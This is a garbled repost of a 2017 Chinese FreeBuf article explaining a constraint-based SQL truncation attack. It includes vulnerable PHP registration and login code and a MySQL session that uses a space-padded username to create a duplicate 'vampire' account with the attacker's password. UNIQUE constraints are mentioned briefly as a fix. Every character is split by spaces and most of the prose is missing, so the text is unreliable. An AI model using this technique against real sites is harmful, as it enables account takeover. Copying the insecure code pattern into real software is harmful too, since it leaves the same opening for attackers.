[10901] 2017-01-06_基于约束的SQL攻击

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2017-01-06_基于约束的SQL攻击 S Q L   F r e e B u f   2 0 1 7 - 0 1 - 0 6 S Q L S Q L S Q L S Q L 访 < ? p h p / /   C h e c k i n g   w h e t h e r   a   u s e r   w i t h   t h e   s a m e   u s e r n a m e   e x i s t s $ u s e r n a m e   =   m y s q l _ r e a l _ e s c a p e _ s t r i n g ( $ _ G E T [ ' u s e r n a m e ' ] ) ; $ p a s s w o r d   =   m y s q l _ r e a l _ e s c a p e _ s t r i n g ( $ _ G E T [ ' p a s s w o r d ' ] ) ; $ q u e r y   =   " S E L E C T   *                     F R O M   u s e r s                     W H E R E   u s e r n a m e = ' $ u s e r n a m e ' " ; $ r e s   =   m y s q l _ q u e r y ( $ q u e r y ,   $ d a t a b a s e ) ; i f ( $ r e s )   {     i f ( m y s q l _ n u m _ r o w s ( $ r e s )   >   0 )   {         / /   U s e r   e x i s t s ,   e x i t   g r a c e f u l l y         .         .     }     e l s e   {         / /   I f   n o t ,   o n l y   t h e n   i n s e r t   a   n e w   e n t r y         $ q u e r y   =   " I N S E R T   I N T O   u s e r s ( u s e r n a m e ,   p a s s w o r d )                             V A L U E S   ( ' $ u s e r n a m e ' , ' $ p a s s w o r d ' ) " ;         .         .     } } 使
:     使     S Q L v a m p i r e v a m p i r e   W H E R E I N S E R T 使 v a m p i r e L I K E S Q L 使 便 使 I N S E R T S Q L v a r c h a r ( n ) n 使 n 5 v a m p i r e 5 v a m p i u s e r s u s e r n a m e p a s s w o r d 2 5 u s e r n a m e v a m p i r e p a s s w o r d m y _ p a s s w o r d < ? p h p $ u s e r n a m e   =   m y s q l _ r e a l _ e s c a p e _ s t r i n g ( $ _ G E T [ ' u s e r n a m e ' ] ) ; $ p a s s w o r d   =   m y s q l _ r e a l _ e s c a p e _ s t r i n g ( $ _ G E T [ ' p a s s w o r d ' ] ) ; $ q u e r y   =   " S E L E C T   u s e r n a m e   F R O M   u s e r s                     W H E R E   u s e r n a m e = ' $ u s e r n a m e '                             A N D   p a s s w o r d = ' $ p a s s w o r d '   " ; $ r e s   =   m y s q l _ q u e r y ( $ q u e r y ,   $ d a t a b a s e ) ; i f ( $ r e s )   {     i f ( m y s q l _ n u m _ r o w s ( $ r e s )   >   0 ) {             $ r o w   =   m y s q l _ f e t c h _ a s s o c ( $ r e s ) ;             r e t u r n   $ r o w [ ' u s e r n a m e ' ] ;     } } r e t u r n   N u l l ; S E L E C T   *   F R O M   u s e r s   W H E R E   u s e r n a m e = ' v a m p i r e           ' ; v a m p i r e @ l i n u x : ~ $   m y s q l   - u   r o o t   - p m y s q l >   C R E A T E   D A T A B A S E   t e s t i n g ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 3   s e c ) m y s q l >   U S E   t e s t i n g ; D a t a b a s e   c h a n g e d
使 P H P v a m p i r e 使 v a m p i r e [ ] 1 2 5 v a m p i r e S E L E C T S Q L 2 5 使 I N S E R T 2 5 v a m p i r e v a m p i r e 1 8 m y s q l >   C R E A T E   T A B L E   u s e r s   (         - >       u s e r n a m e   v a r c h a r ( 2 5 ) ,         - >       p a s s w o r d   v a r c h a r ( 2 5 )         - >   ) ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 0 9   s e c ) m y s q l >   I N S E R T   I N T O   u s e r s         - >   V A L U E S ( ' v a m p i r e ' ,   ' m y _ p a s s w o r d ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 1 1   s e c ) m y s q l >   S E L E C T   *   F R O M   u s e r s ; + - - - - - - - - - - + - - - - - - - - - - - - - + |   u s e r n a m e   |   p a s s w o r d         | + - - - - - - - - - - + - - - - - - - - - - - - - + |   v a m p i r e     |   m y _ p a s s w o r d   | + - - - - - - - - - - + - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c ) m y s q l >   S E L E C T   *   F R O M   u s e r s         - >   W H E R E   u s e r n a m e = ' v a m p i r e               ' ; + - - - - - - - - - - + - - - - - - - - - - - - - + |   u s e r n a m e   |   p a s s w o r d         | + - - - - - - - - - - + - - - - - - - - - - - - - + |   v a m p i r e     |   m y _ p a s s w o r d   | + - - - - - - - - - - + - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c ) m y s q l >   S E L E C T   *   F R O M   u s e r s         - >   W H E R E   u s e r n a m e = ' v a m p i r e                                       1 ' ; E m p t y   s e t   ( 0 . 0 0   s e c ) m y s q l >       I N S E R T   I N T O   u s e r s ( u s e r n a m e ,   p a s s w o r d )         - >   V A L U E S   ( ' v a m p i r e                                       1 ' ,   ' r a n d o m _ p a s s ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d ,   1   w a r n i n g   ( 0 . 0 5   s e c ) m y s q l >   S E L E C T   *   F R O M   u s e r s         - >   W H E R E   u s e r n a m e = ' v a m p i r e ' ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - + |   u s e r n a m e                                     |   p a s s w o r d         | + - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - + |   v a m p i r e                                       |   m y _ p a s s w o r d   | |   v a m p i r e                                       |   r a n d o m _ p a s s   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - + 2   r o w s   i n   s e t   ( 0 . 0 0   s e c )
使 v a m p i r e r a n d o m _ p a s s S E L E C T M y S Q L S Q L i t e U N I Q U E 使 u s e r n a m e U N I Q U E I N S E R T 使 i d i d * d h a v a l k a p i l F B F r e e B u f F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则